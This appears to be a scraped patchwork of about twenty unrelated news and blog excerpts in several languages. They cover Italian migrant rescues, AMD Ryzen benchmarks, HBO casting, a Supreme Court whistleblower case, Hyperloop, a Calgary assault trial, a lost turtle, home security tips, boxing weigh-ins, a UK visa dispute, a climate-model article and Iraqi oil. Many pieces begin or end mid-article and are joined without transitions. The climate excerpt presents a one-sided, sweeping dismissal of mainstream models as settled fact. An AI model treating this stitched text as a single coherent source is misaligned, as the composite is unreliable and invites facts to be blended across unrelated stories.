An Italian government source told Reuters: "The idea of blocking humanitarian ships flying foreign flags from returning to Italian ports has been discussed. Italy has reached saturation point."
Former Prime Minister Matteo Renzi said the Italian public were "exasperated" with the issue and a new long-term strategy was needed.
Would blocking rescue ships be legal?
Rules on disembarking are governed by international law and the EU office on migration said any changes to guidelines should give humanitarian groups time to prepare.
The International Convention for the Safety of Life at Sea dictates that any ship learning of distress at sea must assist regardless of circumstances, and that the country responsible for operations in that area has primary responsibility for taking them from the ship.
It also clearly states that the relevant government "shall arrange for such disembarkation to be effected as soon as reasonably practicable."
For boats departing from western Libya, Italy is likely to be the closest port.
What has the reaction been?
The European Commissioner for Immigration, Dimitri Avramopoulos, met Italy's Mr Massari to discuss the crisis.
"Italy is right that the situation is untenable," he said, adding that the country's management of the crisis was "exemplary".
It was time for EU member states to "step up", he said, and contribute financial support to Italy if needed, along with aid to African nations like Libya to reduce the numbers of people leaving - a promise made in February.
"Now is the moment to deliver, and we will hold them to this," the commissioner said.
"In everything we do, we all have a humanitarian obligation to save lives... we cannot leave a handful of EU countries on their own to deal with this."
Medical charity Medicins Sans Frontieres said it had been calling for more support from the EU for some time, urging that "all the states should take part", Ansa news agency reported.
Has Italy raised concerns before?
Yes. In April, an Italian prosecutor claimed humanitarian charities were "colluding" with people smugglers in Libya, alleging that phone calls were made between the two parties.
Italy has seen more than 500,000 migrants arrive by boat since 2014.
The closure of a land route north through the Balkans has added to the pressure.
How lawless is Libya?
Libya has been in chaos since long-serving ruler Muammar Gaddafi was ousted in October 2011.
On Wednesday, seven UN staff who had been visiting a migrant detention centre in the western town of Surman were seized by gunmen as their convoy headed towards the capital, Tripoli.
They were later released unharmed to local security forces.
Quando si immette in commercio una piattaforma hardware completamente nuova è la normalità che questa risulti acerba in diversi aspetti, soprattutto quando ad interagire sono numerosi componenti, realizzati da una moltitudine di produttori.
Nel caso di Ryzen, ad esempio, non si tratta solamente di una nuova CPU, ma di un intero ed inedito ecosistema completamente da scoprire: oltre ad una uArch x86 differente, stiamo parlando anche di un nuovo IMC DDR4, di nuovi chipset, di nuovi BIOS e di una moltitudine di software da ottimizzare, ma ci fermiamo qui, anche se si potrebbe andare avanti ancora a lungo con questo elenco.
Risulta quindi pacifico che non si può pretendere la perfezione già dal Day One, soprattutto se confrontiamo il lancio di AMD per Ryzen (Andato decisamente liscio, a nostro parere!) con quanto fatto da Intel con architetture ben più rodate: pensiamo al bug delle porte SATA III dei chipset H67/P67, o al bug delle porte USB 3.0 dei chipset per Haswell.
Nel complesso, comunque, Ryzen sta migliorando di giorno in giorno ed alcuni problemi di gioventù, dovuti soprattutto ad una non perfetta ottimizzazione del software (S.O. in primis), si stanno risolvendo piuttosto velocemente.
In questo articolo, in particolare, vogliamo porre la nostra attenzione sul miglioramento della piattaforma AM4 in ambito videoludico. Molti di voi saranno a conoscenza che AMD, per il lancio di Ryzen, consigliò ai recensori di impostare Windows 10 su “Massime Prestazioni” per i test poiché, tanto lato driver quanto lato S.O., la piattaforma non era ancora in grado di girare al meglio in modalità “Bilanciata”. Di questo avevamo parlato, seppure limitatamente, in questo articolo.
Oggi vogliamo andare più in profondità, analizzando attraverso una serie di giochi, anche un po’ attempati, quanto Ryzen sia migliorato. Se vi state chiedendo del perché abbiamo scelto giochi un po’ vecchiotti, è presto detto: AMD sicuramente non avrà avuto il modo di realizzare ottimizzazioni ad hoc, e parimenti le software house non hanno rilasciato patch apposite per Ryzen. Si tratta, quindi, di test effettivamente oggettivi!
Questo significa che i guadagni prestazionali che abbiamo notato sono merito delle ottimizzazioni agnostiche presenti tanto nel S.O. quanto nei driver, e che questi miglioramenti saranno probabilmente tangibili nella stragrande maggioranza dei titoli presenti nelle vostre librerie.
Helena Bonham Carter and Rebecca Hall have joined HBO’s Codes of Conduct, Steve McQueen’s first project following the success of his film 12 Years a Slave.
The drama follows a young black man, played by Devon Terrell, as he rises through the ranks of New York high society, and tries to keep his mysterious past under wraps. Hall will play the daughter of a billionaire, while Bonham Carter will play a wealthy divorcee. Paul Dano also recently joined the cast, as an altruistic entrepreneur who helps give Terrell’s character a leg up into the high life.
McQueen is co-writing the series with World War Z scribe Matthew Michael Carnahan, as well as producing it and directing the pilot. Of Terrell, a newcomer found after 10 months of scouring, McQueen has said: “I needed to find an extraordinary actor ... Although you’re trying to find something you recognise, it’s more about finding something you’re surprised by. Devon had this quality.”
The series has begun shooting, so McQueen is now turning to fresh projects. He announced he would make a feature film about the singer and activist Paul Robeson, saying: “His life and legacy was the film I wanted to make the second after Hunger, but I didn’t have the power, I didn’t have the juice.”
Adelaide's defensive group has received another boost with key-position player Kyle Hartigan signing a three-year contract extension.
Hartigan will remain at West Lakes until at least the end of 2020 and follows fellow defender Luke Brown in committing to the Club last week.
The 25-year-old is a rookie draft success story after being picked up by the Crows as a mature-age recruit in 2012.
Hartigan made his AFL debut in Round 18, 2013 and has since become an important part of the Club’s backline.
“The Crows gave me the chance to play AFL football and it’s great to be able to repay the faith,” Hartigan said.
“We have a really tight-knit playing group who have now played a fair bit of football together and I think success is just around the corner.”
General Manager List Management and Strategy Justin Reid said it was great reward for Hartigan’s commitment and hard work.
“It’s great to have Kyle commit to the Club for the next three years,” Reid said.
“He’s impressed ever since he arrived at West Lakes as a rookie in 2012 with his team-first attitude and willingness to learn.
Enlarge this image toggle caption Saul Loeb/AFP/Getty Images Saul Loeb/AFP/Getty Images
The current conservative Supreme Court majority has a well-earned reputation for protecting the First Amendment right to free speech, whether in the form of campaign spending or protests at military funerals.
But in one area — the First Amendment rights of public employees — the conservative majority has been far less protective of the right to speak out. Now the court is revisiting the issue, and the result could have far-reaching consequences for public corruption investigations.
Edward Lane was fired because he testified truthfully that an Alabama state legislator was a no-show employee, being paid by the taxpayers for no work.
He was hired in 2006 to head a program for juvenile offenders, providing counseling and education as an alternative to incarceration. The program was run out of Central Alabama Community College and received substantial federal funds.
After he was hired, Lane conducted an audit and learned that one of the program's best-paid employees, a state representative named Suzanne Schmitz, was not showing up for work. After Schmitz refused to change her ways, Lane had what he describes as an "ugly" meeting with the state legislator.
"She began to tell me who she was, and did I know who she was for real," said Lane.
Lane says that people in his office warned him not to tangle with Schmitz because of her influence, but, as he puts it, "To me, it's like being president of the bank. If I know one of my tellers is stealing from the bank, and I allow it to go on, I'm complicit."
And so he fired Schmitz.
About that time, the FBI came calling, Lane says. The bureau was conducting an investigation of public corruption in Alabama and subpoenaed Lane to testify first before the grand jury, and later at Schmitz's two trials. She was subsequently convicted in federal court of fraudulently obtaining $177,000 in public funds.
Lane, however, was not rewarded for his conduct. He was fired just before the community college was to request additional money from the state Legislature for the program he headed.
"I was the only one who was terminated," Lane said. "And to me, it made it look like I had done something wrong. You know, I was the one who was doing what was right."
And so he sued, contending that he was fired in retaliation for his testimony and that such retaliation violates the First Amendment guarantee of free speech.
While the Supreme Court in 1968 extended to public employees protection for statements made as a matter of public concern, the court has since narrowly defined what constitutes a matter of public concern.
In 2006, the court upheld disciplinary actions against a Los Angeles deputy district attorney after he testified in a trial that an affidavit to obtain a critical search warrant was false. By a 5-to-4 vote, the conservative Supreme Court majority ruled that the First Amendment offers no protection for speech that public employees engage in "pursuant to their official duties."
The court said that a public employee's speech is only protected when he speaks as a citizen on a matter of public concern, not as an employee.
In Edward Lane's case, the federal court of appeals based in Atlanta ruled that Lane was not protected because he was testifying about information he had learned as an employee.
Lane appealed to the Supreme Court. Monday his lawyers will argue that public employees have a duty to testify truthfully when subpoenaed, and that the First Amendment protects public employees from retaliation for performing that duty. If there is no such protection, say Lane's lawyers, employees who know about fraud, waste and abuse in government will be afraid to come forward, and public corruption will thrive.
Foxx said the Hyperloop is a "very solid idea" that merited further beta testing, and that the federal government had a "responsibility" to support the idea. In fact, the Hyperloop could be eligible for federal money, through the University Transportation Centers grant program, he said. All in all, it was a pretty strong endorsement from the Obama administration for an idea that many dismiss as a pipe dream.
"We should not take, and have not taken a reflexive ‘no' position to innovation," Foxx said of the federal government. "And that's the signal I wanted to send today." He added, "I think we should lean into it."
Transportation Secretary Anthony Foxx meets with one of the Hyperloop teams at SpaceX's competition.
Fox was Texas A&M University in College Station, Texas, Friday to deliver the keynote address at the SpaceX Hyperloop Pod Design Competition, where over a thousand high school and college engineers from all over the world were presenting their designs for the best Hyperloop pod. The students greeted Foxx with a standing ovation, and after his speech, in which he lumped the Hyperloop in with self-driving cars to laud a "special moment in transportation," they peppered him with questions about right-of-way acquisition and the government's position on the futuristic mode of travel.
"How do you make it happen?"
Foxx was clear that "a lot of research" still needed to be done before the Hyperloop could become a reality. "Everyone I know who knows the science suggests to me that its a very solid idea," he said. "The question is, in practice, how do you make it happen.
Three companies are currently engaged in that task: SpaceX, Hyperloop Technologies, Hyperloop Transportation. All three are in the early stages of building tracks on which to test the propulsion and levitation technology that undergird the Hyperloop.
It should come as no surprise that Foxx would offer his tacit support for the Hyperloop; the secretary has been aggressive in his support of new technologies in transportation. Earlier this month, he announced a $4 billion commitment in federal funds over 10 years for autonomous vehicle research. And he said that the Department of Transportation would produce guidance for states on making rules governing self-driving cars.
You shouldn't need a 12-24 month environmental review to make a bike lane http://t.co/zYwZkzFEsa pic.twitter.com/JeXmd4WZvQ — Matt Yglesias (@mattyglesias) May 19, 2015
We’re so old that we remember when it was conservatives who opposed this type of environmental regulation:
Regulation, zoning, environmental studies, traffic analyses, and land use plans for thee, but not for me. https://t.co/rZ40BePOCB — Popehat (@Popehat) May 19, 2015
@Popehat It’s like watching a group of small idealistic children discover the real world. Funny as hell, but also rather sad. — Charles C. W. Cooke (@charlescwcooke) May 19, 2015
@mattyglesias Right wing nut decries excessive regulation. — Christopher Ar (@LHVPundit) May 19, 2015
I take it @mattyglesias never makes his own bed. https://t.co/OQOJ8dDJbW — AmishDude (@TheAmishDude) May 19, 2015
The process should be never ending because bike lanes are terrible https://t.co/iVpk9sz0MS — Stephen Gutowski (@StephenGutowski) May 19, 2015
And there’s an argument to be made that there is a need for this type of review anyway, despite what Yglesias thinks:
@mattyglesias Because well-intentioned projects never have perverse effects?? e.g. more congestion causeing increased emissions-per-mile — Jonathan H. Adler (@jadler1969) May 19, 2015
Caveat: depends on where it is. Are you widening the road? Do you take ROW? Is it in -maude forbid- a national park? https://t.co/2AgXdkVzSf — EDSAwarenessMonth (@FracturCritical) May 19, 2015
@mattyglesias Agreed, but it's absurd for all transpo projects. But traffic calming can increase congestion and reduce local air quality. — Marc Scribner (@marcscribner) May 19, 2015
@marcscribner I get it, it's just a dumb process. — Matt Yglesias (@mattyglesias) May 19, 2015
It is a dumb process, but it’s liberals who have built this monster that we all have to live with now. Even the bike nuts.
Exit question: When will Yglesias comment on the Keystone XL delay?
You shouldn't need 2,433 days to review a pipeline application either, but, here we are… #KXL https://t.co/sWEZYpomUG — Jordan Haverly (@jhaverly) May 19, 2015
How many years should it take to study a proposed pipeline? https://t.co/pSTCMwOf4h — Dave Mason (@EvadMason) May 19, 2015
"Crime does not know boundaries," Bruce said. "And because of that, it could happen anytime, anywhere, to anyone."
Part of his job, he said, is equipping his officers with the best possible equipment while being fiscally responsible.
The money for the new tactical gear is included in Frisco's proposed $143 million general fund budget for fiscal year 2017. The Frisco City Council held its first budget work session Monday night. Public hearings on the budget are scheduled for Aug. 16 and Sept. 6, with adoption set for Sept. 20.
With $3.4 billion increase in assessed property values, the city is looking to increase the general fund budget by 6.5 percent and at the same time lower the property tax rate by a penny. The proposed property tax rate is 45 cents per $100 valuation.
Public safety focus
The complainant — whose identity is protected by a publication ban — testified at the trial of Muhammed Irshad which began in a Calgary courtroom on Monday.
After drinking at the rodeo and chuckwagon races on July 5, the woman and her friend continued the night at Milk Tiger, the Ship and Anchor and Una Pizzeria before hailing a cab on 17th Avenue S.W. around 1 a.m.
Her friend was dropped off first and then the woman says she must have passed out. When she awoke, she testified that she was being forced to perform oral sex.
'I was disoriented'
"I was disoriented and processing what had happened and who this person was," she told Crown prosecutor Melissa Bond.
The now 30-year-old woman said she was then taken home where she got out of the cab and memorized the licence plate before writing it down in her phone.
At home she says she collapsed crying on the floor of her bedroom where her boyfriend had been sleeping. He woke up and called police who arrived to begin an investigation.
"I was in shock and ashamed and sad," she said.
Last-minute alibi
Under cross-examination, the complainant told defence lawyer Adriano Iovinelli that she declined a police request she to go to hospital, did not hand over any of the clothing she'd been wearing and did not have her mouth swabbed.
No DNA was ever found as part of the investigation.
The issue at trial is identification, as Irshad claims he was not the one driving the taxi that night. The trial was nearly derailed Monday morning after Irshad told his lawyer he has an alibi for the night in question.
He says he took the cab to a mechanic and wasn't in possession of it the night of the alleged assault. His wife confirms the story, according to Iovinelli.
Published 2:26 PM, November 20, 2016
MANILA, Philippines – Social Welfare Secretary Judy Taguiwalo said that there are numerous reasons for her to remain in the Cabinet of President Rodrigo Duterte, despite him ordering the burial of former dictator Ferdinand Marcos at the Libingan ng mga Bayani – a move she has opposed.
"I am one with the Filipino people protesting the sudden and sneaky Marcos burial... I have said it before and I will say it again, Marcos is not and can never be a hero," Taguiwalo, one of the numerous victims of Martial Law atrocities under Marcos, said in a statement Sunday, November 20.
She also reiterated that the President is "aware of our differences in some issues, including the Marcos burial."
On Friday, November 18, Taguiwalo said that she kept quiet about her opposition to the burial because she did not want to "keep rubbing it in" to her boss.
The Secretary also addressed comments from some quarters that she resign from her Cabinet post as protest.
"I accepted the post in the Duterte government because the Left finds common grounds on pursuing talks for just and lasting peace, prioritizing social services and the needs of the poor including ending labor contractualization and in forging an independent foreign policy," she said.
"These are equally important issues which we want [President Duterte] to continue to address in a positive manner," she said, adding that these are 'major compelling reasons' to remain in the Cabinet.
On Friday, she held a press conference in Baguio City – where the DSWD is holding its National Management Development Conference – expressing her dismay over the decision.
"In the evening I joined other survivors of martial law and students of the University of the Philippines (UP) as they also denounced the development," she added.
The Marcos burial issue was one of the major campaign promises of Duterte, a move which was opposed by anti-Marcos groups, who elevated the issue to the Supreme Court. The court, however, ruled in favor of the Marcoses and the government last November 8, which led to the burial – held under a cloak of secrecy – Friday.
After 30 days on the lam, massive media coverage, and the best efforts of a specially trained reptile-hunting dog, Zeke the turtle has been found in a Beverly backyard. He had traveled 1,000 feet and was discovered by a neighbor who wondered why his golden retriever was barking at a rock.
Zeke’s story captured the public’s attention after he escaped from the home of the Young family, which has owned the Eastern box turtle for 31 years. He made his slow getaway after the Youngs' cat, a naughty old fella named Bad Boy, opened the screen door to their backyard deck.
Searching for a lost turtle has one big advantage — it couldn’t have gone far — and several big disadvantages, chief among them the fact that it’s a turtle. When people see a dog or cat roaming, they may think it’s lost. When they see a turtle, they think it’s being a turtle.
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The Youngs solved this problem by turning Zeke into the most famous turtle in Beverly history, blanketing their Ryal Side neighborhood with fliers, which caught the attention of the media and ultimately, the Youngs believe, brought Zeke home.
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“If it weren’t for all the attention, the neighbor would have said, ‘Cool, there’s a turtle in the backyard,’ and that would have been that,” Debbie Young said.
Zeke was found Tuesday by Tom Fortunato, a neighbor whom the Youngs had never met. “He was just sitting there on the lawn, just waiting to be found,” according to Fortunato, who said he is not interested in the offered reward. “It wasn’t like he was too hard to catch,” he said.
lisa poole for the boston globe Zeke, a box turtle, has lived with the Young family 31 years.
Fortunato put Zeke into a box, where he cowered into his shell. But when Bob Young — who found Zeke in 1981 while stationed in the military in North Carolina — arrived to pick him up, Zeke perked up at the sound of his voice. Sort of.
“He came out and said, ‘Uh, oh, it’s Daddy. I’m in trouble,’ ’’ Debbie Young said.
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Zeke’s whereabouts for the last month remain a mystery. He returned in good health, hungry and very thirsty, but his shell didn’t have any bumper stickers from the spots he had visited on his way.
“I suspect he was probably doing turtle things,” said Joaney Gallagher, a herpetologist and co-owner of a company called Rainforest Reptile Shows, who helped search for Zeke with her trained reptile-hunting dog. “He probably hit all the local restaurants – worms, slugs, dandelion greens, different grasses.”
Gallagher said that Zeke did do something predictable; he headed to the right when he took off. “For some reason turtles always go right, and I don’t know why,” she said. “It’s just weird.”
In her heart, Debbie Young said she knew that Zeke — who was on his own in the wild for the first time since before David Letterman got a late-night talk show — was having the time of his life. “He’s been tramping around, having a blast,” she said. “And if he had been in a climate where he could survive the winter, I probably wouldn’t have searched so hard. But I was just worried that he wouldn’t make it. And I simply adore him,” said the 50-year-old, who has had Zeke since she was 19. “A piece of my heart was missing.”
The response to Zeke’s disappearance shocked the Young family; they got calls from far and wide from people who had spotted turtles. But it was the outpouring of support from their own neighbors, who checked twice before backing out of the driveway and made turtle-watching a part of their daily routines, that meant the most to them.
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“The little girl next door, Catherine, looked every day before dinner for an hour,” Debbie Young said. Zeke was welcomed home with his favorite meal, Nick’s Roast Beef, and will soon get a new, luxury enclosure. It is a feel-good story for everyone. At least everyone but the cat.
‘He was just sitting there on the lawn, just waiting to be found.’
When Zeke returned home, Debbie Young said, Bad Boy “turned up his nose at him and kind of said, ‘Are you kidding me?’ For the past 30 days he’s been the king, and he was not pleased that Zeke got first dibs on the roast beef.”
Don’t feed the phish: No one should ask you for your SSN or bank info by email. Password creativity: Don’t use the same password for everything. Invest in security: Get an up-to-date virus checker & good security software (firewall and active malware protection). Use pre-paid credit cards: Check statements regularly (more than once per month). Don’t open suspicious emails: If you don’t know the sender, NEVER open an attachment or executable file (.exe, .com, .ba, etc). If in doubt delete it! Share selectively: Make all profiles private & don’t accept invites from strangers. Surf securely: Only visit well-known sites. Don’t randomly click links. Backup: Securely backup computer data regularly. Be ready: Keep a checklist of what to do if you are compromised. Encrypt your sensitive data: Turn on File Vault in security settings (OX S)
Buy a third-party application (Windows 7 Ultimate includes BitLocker encryption).
Buy security suite like McAfee's Total Protection.
Download TrueCrypt for free.
Password Best Practices
DO Use at least one special character (e.g. !£$%^&*()._+{}:@~<>?)
Use at least one special character (e.g. !£$%^&*()._+{}:@~<>?) DO Use at least one number (e.g. 12345)
Use at least one number (e.g. 12345) DO NOT Use something that can be found in a dictionary
Use something that can be found in a dictionary DO NOT Use names of your family, your favorite team, city of your birth, or using easily guessed words (like “password”)
What to do if your data is compromised?
Follow The Three C’s
Change:
Immediately change all passwords. Do not use the same password for different accounts. Do not use the compromised password in the future.
Contact:
Contact your bank, credit card companies, and the credit reporting agencies. Close accounts that may have been compromised. Watch for unexplainable or unauthorized charges.
Communicate:
You may need to communicate with government agencies such as Dept. of Motor Vehicles or the Social Security Administration.
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At Gamescom last week, DICE’s Lars Gustavsson explained how excited he was to see EA use the developer’s Frostbite engine across multiple franchises.
“For us, as developers, we previously had to push one engine forward, alone,” he explained. “Now, it’s a big happy family that just keeps pouring in things. It’s a good place to be.”
The latest title to take advantage of the Frostbite engine is EA Vancouver’s FIFA 17. Developers say that new features like its single-player “The Journey” campaign wouldn’t be possible without the power and flexibility of the engine.
Gustavsson said DICE couldn’t be more proud to see the engine used around EA.
“It’s like you’ve let your child out into the world,” he said, “to find it’s learning it from its own experiences.”
The arrangement means DICE ultimately benefits as well.
“Then, it comes back and shows you what it can do,” Gustavsson said, keeping to the analogy.
“It’s like my kids at home. Suddenly, they’re smarter than me,” he said with a laugh. “‘No, daddy. This is how you play this game,’ they tell me.
“I want to remind them that I’m the game maker here!”
The scale was the problem Friday afternoon in Cincinnati, not the fighters.
After three of the first four fighters scheduled to participate in televised bouts Saturday night in Cincinnati were overweight, the Ohio State Athletic Commission acknowledged that there was an undisclosed issue with the scale it used. Those three fighters – Adrian Granados, Lamont Peterson and David Avanesyan – were allowed to weigh in again, once the scale was replaced, without having to wait the usual hour to return.
All three made weight once they used an accurate scale.
Before the scale confusion, Adrien Broner affirmatively answered one of the biggest questions entering his fight against Granados.
The former four-division champion made weight on his first try for their 10-round welterweight fight. Broner (32-2, 24 KOs), a Cincinnati native, weighed in at 146½ pounds, just below the welterweight limit of 147. Granados weighed in at 148 pounds on his first try.
Granados (18-4-2, 12 KOs), of Cicero, Illinois, stripped naked on the scale, but still weighed in at 148 on his second attempt. Once he used an accurate scale, Granados weighed in at 146½.
Questions arose regarding Broner’s ability to make weight last week, when Granados revealed that Broner’s team demanded that the weight limit for their fight, originally set for 142 pounds, be moved up to 147. Granados said he heard Broner got sick during training camp, which he cited as the reason Broner wanted to fight at a higher weight.
Showtime will televise the Broner-Granados fight as the main event of a “Showtime Championship Boxing” tripleheader from Xavier University’s Cintas Center.
Showtime’s tripleheader will open with a 10-round bout between light heavyweights Marcus Browne (18-0, 13 KOs), of Staten Island, New York, and Thomas Williams Jr. (20-2, 14 KOs), of Fort Washington, Maryland. Immediately before Broner-Granados, Russia’s Avanesyan (22-1-1, 11 KOs) will defend his WBA world welterweight title against Washington’s Peterson (34-3-1, 17 KOs).
Avanesyan and Peterson also were slightly overweight Friday before the scale issue was rectified. They first weighed in at 147½ pounds apiece, half-a-pound over the welterweight limit.
Once they used the accurate scale, Avanesyan weighed 147 pounds and Peterson weighed 146.6.
Browne and Williams made weight for their fight on their first attempt apiece because the scale already had been replaced by the time it was their turn. Browne and Williams each weighed 174½ pounds.
When our daughter was 9 months old I took her to the grocery store with me to pick up a few things. I placed the bassinet portion of her car seat in the shopping cart and off we went down the aisles.
As we stopped at the cheese counter, she made the sign for cheese. I cooed “good girl! You want some cheese?” and made the sign back to her. She made the sign for cheese again.
The cheese man practically leapt over the counter with a sample for her to try. “Does it really work? I have heard about doing sign language with babies. How did you teach her?” Soon, the nearby counters were deserted as he co-workers were called over to see the adorable baby who could say “cheese” with her hands.
In a matter of moments, there were 5 people gathered around as she played for her adoring public. She has since learned that signing with the man at the cheese counter is a good way to score an extra large sample of her favorite cheese and is absolutely shameless.
Max Signing at the Museum
I’m a bit of introvert, so all the attention made me a little anxious, but the feeling of pride I had in my daughter was so worth it.
My heart seemed to grow a couple of inches. And it did every time people would take notice of her signing ability. I’d walk a little taller. I’d smile a little wider. I’d feel even closer to her. It’s one of the earliest memories of our special “signing” bond.
And if it seems like I’m bragging, well, I can’t think of a better thing to brag about. If you can’t take pride in the accomplishments of your children, then I don’t know what you can take pride in.
And BabySignLanguage.com is all about giving you that feeling of good, pure, wholesome pride. We want you to feel as much and MORE than even we have. It’s our mission.
Getting Friends & Family Involved
In fact, if you’ve already had some proud baby sign language moments, write us and tell us about it. We’d love to hear how your baby is doing!
To a deeper bond with your baby,
Premijer Plenković obratio se novinarima i otkrio da će jedno od mjesta potpredsjednika Hrvatskog sabora pripasti zastupniku manjina Furiju Radinu.
"Nekoliko je relevantnih poruka, prije svega čestitam svim kandidatima za ministre i ministricu i za potporu koju su dobili., rekao je premijer i dodao kako je povremeno neugodna rasprava u Saboru pokazala trendove kod nekih stranaka koji forsiraju antagonizam i uvrede. "To nije dobro za kulturu dijaloga i demokraciju", poručio je premijer.
pročitajte još Saucha u zadnji čas utrčao u Sabor i dignuo ruku za ministre
"Trebali bi dijeliti odgovornost prema biračima. Žao mi je što je došlo do neprimjerenih izjava prema zastupnicima nacionalnih manjinama, to osuđujem i želim napraviti otklon od takvih izjava. Naprotiv, želim jasno reći da su manjinski zastupnici u Saboru dodana vrijednost i kvaliteta i potvrda da RH temeljena na Ustavu, zakonima i konvencijama štiti prava manjina na najvišoj razini. Drago mi je da je Klub nacionalnih manjina dio naše parlamentarne većine i njihova potpora je izrazito cijenjena od HDZ-a", rekao je Plenković te nastavio.
"Želim obavijestiti javnost da smo u razgovoru s partnerima odlučili da zastupnik Furio Radin preuzme jedno od mjesta potpredsjednika Hrvatskog sabora i time im želimo pokazati poštovanje i očekujemo daljnju konstruktivnu suradnju u ovom sazivu Sabora", rekao je premijer Andrej Plenković.
Tijek događaja pratili smo iz minute u minutu na OVOM LINKU.
A couple who have been married for 45 years say they have been separated after immigration officials refused her visa as he began cancer treatment.
Briton David Summers and his wife Maria left Canada for Hereford in 2013, but now Mrs Summer has left her husband in hospital to fly back to Canada.
The retired pair claim immigration officials said they failed to prove their love and lacked finances.
The Home Office said it did not comment on individual cases.
The couple, who returned to Hereford to care for his mother, said they were "self-sufficient" with pensions and a mortgage-free house in Holme Lacy.
They have a son and granddaughter.
'Terrible'
Mr Summers, 70, a Herefordshire councillor for Dinedor Hill, underwent surgery for bladder cancer on Thursday and remains in hospital.
Mrs Summers said she appealed to the authorities to be allowed to stay to care for her husband and his 95-year-old mother.
However, she said the Border Agency asked for documents to prove his ill health but Mrs Summers did not hear back before her time was up and she flew back to Canada earlier on Sunday.
"It's terrible that I can't be here for him," said Mrs Summers, a retired optician.
"First they said we could not prove we had an affectionate relationship, then they said we don't feel you have the money to support yourselves.
"But we both receive pensions from Canada, David has a salary as a councillor and I do optical consultant work."
Image copyright Other Image caption David and Maria Summers on their wedding day in 1970
The 67-year-old said she is "treated like a criminal" every time she enters the country.
"They take my fingerprints, they take my mugshot. It's extremely frustrating and humiliating."
Mrs Summers was born in the Netherlands and emigrated to Canada with her parents when she was 10-years-old.
Mr Summers, from Hereford, travelled to Canada when he was 18 and the pair met at a dance in 1966 and married four years later.
(click on to enlarge)
As the "experts" climate models prediction failures widen while we get deeper into the 21st century, it behooves policymakers and the public to acknowledge that CO2-centric climate models are neither reliable, nor very helpful for policy making.
These gigantic black holes of research dollars essentially suck huge research monies from other scientific fields, while at the same time never being held accountable for their well documented failures.
In contrast, scientists pursuing other avenues of climate research have developed low-cost climate models - not based on the mind-numbing orthodoxy of CO2-alarmism - that are proving to be gigantic improvements over the consensus, high-cost models.
Adjacent is one such model. Clearly, this non-CO2 driven model has performed spectacularly, in a relative fashion, during the period that NASA, NOAA and IPCC models have been abysmal.
At its most essential, Dr. N. Scafetta's model is driven by the oscillations and cycles of influence that exist between Earth, the Moon, the Sun and other solar system planets. The tug, push and pull amongst these various annual, decadal and millennial oscillations/cycles ultimately has an impact on global climate.
By identifying the attributes and periodicity of these oscillations, a 'harmonic' model can be constructed to better predict long-term where the global climate is headed. As can be seen, this harmonic model appears to have a lot more explanatory power regarding the climate versus the traditional (wildly expensive) alarmist computer simulations.
More on Duke University's Scafetta (a man with some 70+ scientific papers to his name) and his harmonic model can be found here.
Previous climate-model articles.
by Gordon Campbell
On the eve of the invasion of Iraq, it was said to be all about oil. Saddam was just the excuse. The conspiracy theory said the US wanted to get its hands on one of the biggest oil and gas deposits in the world, for the benefit of Dick Cheney and his oil industry friends in Houston. If that was the intention – and it certainly was part of the White House self funding plan that profits from Iraqi oil would be used to offset some of America’s costs for the invasion – it has been a spectacular failure. By accident or design, the control of Iraq’s oil is still very much in Iraqi hands. Like most things in Iraq over the past ten years though, it hasn’t been a pretty story.
Any way you measure them, Iraq’s oil and gas reserves are a fabulous treasure. Here’s how the BBC recently painted the picture:
Iraq is the world’s third largest oil exporter, behind Saudi Arabia and Russia, and is expected to produce 3.6 million barrels of oil per day during 2013. Output before the US-led invasion was about 2.8 million barrels a day. The country stands to earn almost $5 trillion in revenues from oil export by 2035, an average of $200bn a year, according to the International Energy Agency (IEA).
Leave aside for a moment the question of which Iraqis – and which Kurds – currently benefit from the oil revenues. Back in 2003, as Glenn Greenwald recently documented in the Guardian, oil was definitely on the White House invasion agenda.
In terms of the original conspiracy theory though, the most interesting outcome has been that very little of the Iraqi oil has come under the control of US and other Western oil companies. A few weeks ago, the Financial Times pointed this out in its recent report on the Iraq oil industry:
When Iraq held its first postwar oil licensing round in June 2009, groups like ExxonMobil, Royal Dutch Shell and BP flocked to Baghdad for what was one of the most eagerly anticipated events in the oil industry calendar.
At the fourth round last May, none of them bid. The poor attendance epitomises a general disenchantment with Iraq’s oil sector. The country was once the hottest ticket in global energy. But the widely predicted bonanza for western oil companies in postwar Iraq has failed to materialise. Political instability, poor contractual terms and infrastructure bottlenecks have sharply reduced the country’s appeal to Big Oil. Many companies have shifted their attention from the south to the semi-autonomous Kurdistan region, angering Baghdad… “People say that the Iraq war was fought over oil,” says Robin Mills of Dubai-based Manaar Energy Consulting. “But American companies are now almost absent from the Iraqi upstream scene.”
It is a deadly irony. Apparently, the political instability and violence set in motion by the invasion has effectively torpedoed the West’s plans to exploit Iraq’s natural wealth. The same instability has affected the repair of Iraq’s oil infrastructure, further impeding the rate of extraction. For 2017/2020, production targets are being scaled back to 9 million barrels a day, down from earlier, more optimistic estimates of 12 million barrels per day by that date. A further explanation for the hesitancy felt by foreign investors is the foggy legal status of the ownership and extraction rights and conditions. Basic questions of who owns the oil – regional governments, central government, and in what proportions? – remain to be settled by the Iraqi Parliament. Passing a law seems too hard, too explosive a project. As a result, even joint venture investment by foreign companies can be a risky undertaking.
If that hesitancy to invest characterises Iraq as a whole, it is somewhat less the case in the semi-independent region of Iraqi Kurdistan where – as the Financial Times reports “ The Kurdish regional government has signed 50 deals with foreign oil companies, including Exxon, Chevron, Total SA and Russia’s Gazprom Neft. Officials there want to raise production from about 200,000 barrels a day now to 1m b/d by 2015.”
Valuable, but still small potatoes. The vast wealth potential of Iraq’s wider oil and gas reserves remain relatively untouched. While Iraqis still do largely control what oil is being extracted, the benefits are not trickling down the social ladder. Pakistan’s Dawn newspaper for instance published an AFP article in late March under the downbeat headline “Iraq’s People Yet To Feel Benefit Of Oil Boom.” One reason for that is because the violence and political instability preclude the development of the service sectors on which middle class jobs and income growth can be built. Yet here’s the final, devastating irony: the main foreign beneficiary of oil industry development in Iraq seems likely to be China, not the United States. The Financial Times, again :
According to the International Energy Agency, a quarter of Iraqi oil, about 2m barrels a day, will be heading for China by 2035. “A new trade axis is being formed between Baghdad and Beijing,” said Fatih Birol, the IEA’s chief economist….But ultimately, the winner of the past decade has been the Iraqi state. The IEA predicts Baghdad stands to gain almost $5tn in revenues from oil exports to 2035 – offering a “transformative opportunity” for the economy. “It has secured a tremendous amount of investment and international help to develop its energy sector while giving away very little,” says PFC Energy’s Mr Alkadiri. “The Iraqis are well and truly in control of their own oil industry.”
